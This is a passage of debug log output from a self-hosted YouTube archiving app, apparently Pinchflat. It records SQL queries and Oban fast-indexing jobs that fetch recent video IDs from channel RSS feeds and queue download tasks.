m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:30:53.551 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 16:30:53.554 [debug] QUERY OK source="media_items" db=2.4ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:30:53.556 [debug] QUERY OK source="media_items" db=2.3ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:30:53.557 [debug] QUERY OK source="tasks" db=0.1ms idle=6.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:30:53.557 [info] Sent 200 in 9ms 16:30:57.165 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:57.795 [info] {"args":{"id":2},"id":706,"meta":{},"system_time":1784910657795786718,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:57.797 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=843.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:30:57.797 [debug] QUERY OK source="tasks" db=1.9ms idle=843.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:30:57.799 [debug] QUERY OK source="settings" db=1.9ms idle=632.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:57.800 [debug] QUERY OK source="sources" db=2.0ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:30:57.800 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:30:57.800 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:57.800 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 16:30:58.434 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 16:30:58.435 [debug] QUERY OK source="media_items" db=0.3ms idle=636.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 16:30:58.436 [debug] QUERY OK source="media_items" db=0.3ms idle=635.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:30:58.437 [debug] QUERY OK source="tasks" db=0.0ms idle=636.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [709, 2, ~U[2026-07-24 16:30:58Z], ~U[2026-07-24 16:30:58Z]] 16:30:58.437 [info] {"args":{"id":2},"id":706,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":641323,"event":"job:stop","queue_time":237821,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:58.437 [debug] QUERY OK source="tasks" db=0.1ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:31:00.737 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:31:08.806 [info] {"args":{"id":1},"id":707,"meta":{},"system_time":1784910668806166634,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:31:08.806 [debug] QUERY OK source="sources" db=0.1ms idle=853.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:31:08.806 [debug] QUERY OK source="tasks" db=0.2ms idle=853.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:31:08.806 [debug] QUERY OK source="settings" db=0.1ms idle=853.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:31:08.806 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:31:08.807 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:31:08.807 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:31:08.807 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 16:31:09.002 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:31:09.003 [debug] QUERY OK source="media_items" db=0.4ms idle=196.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:31:09.007 [debug] QUERY OK source="media_items" db=4.3ms idle=196.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:31:09.008 [debug] QUERY OK source="tasks" db=0.0ms idle=201.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [710, 1, ~U[2026-07-24 16:31:09Z], ~U[2026-07-24 16:31:09Z]] 16:31:09.008 [info] {"args":{"id":1},"id":707,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":202560,"event":"job:stop","queue_time":431945,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:31:09.009 [debug] QUERY OK source="tasks" db=0.4ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:31:23.821 [info] {"args":{"id":3},"id":708,"meta":{},"system_time":1784910683821165296,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:31:23.821 [debug] QUERY OK source="sources" db=0.1ms idle=868.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:31:23.821 [debug] QUERY OK source="settings" db=0.0ms idle=868.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:31:23.821 [debug] QUERY OK source="tasks" db=0.3ms idle=868.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:31:23.821 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:31:23.821 [debug] QUERY OK source="sources" db=0.1ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:31:23.822 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:31:23.822 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 16:31:23.849 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:31:23.851 [debug] QUERY OK source="media_items" db=1.7ms idle=27.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 16:31:23.853 [debug] QUERY OK source="media_items" db=1.8ms idle=29.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:31:23.854 [debug] QUERY OK source="tasks" db=0.1ms idle=32.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [711, 3, ~U[2026-07-24 16:31:23Z], ~U[2026-07-24 16:31:23Z]] 16:31:23.854 [info] 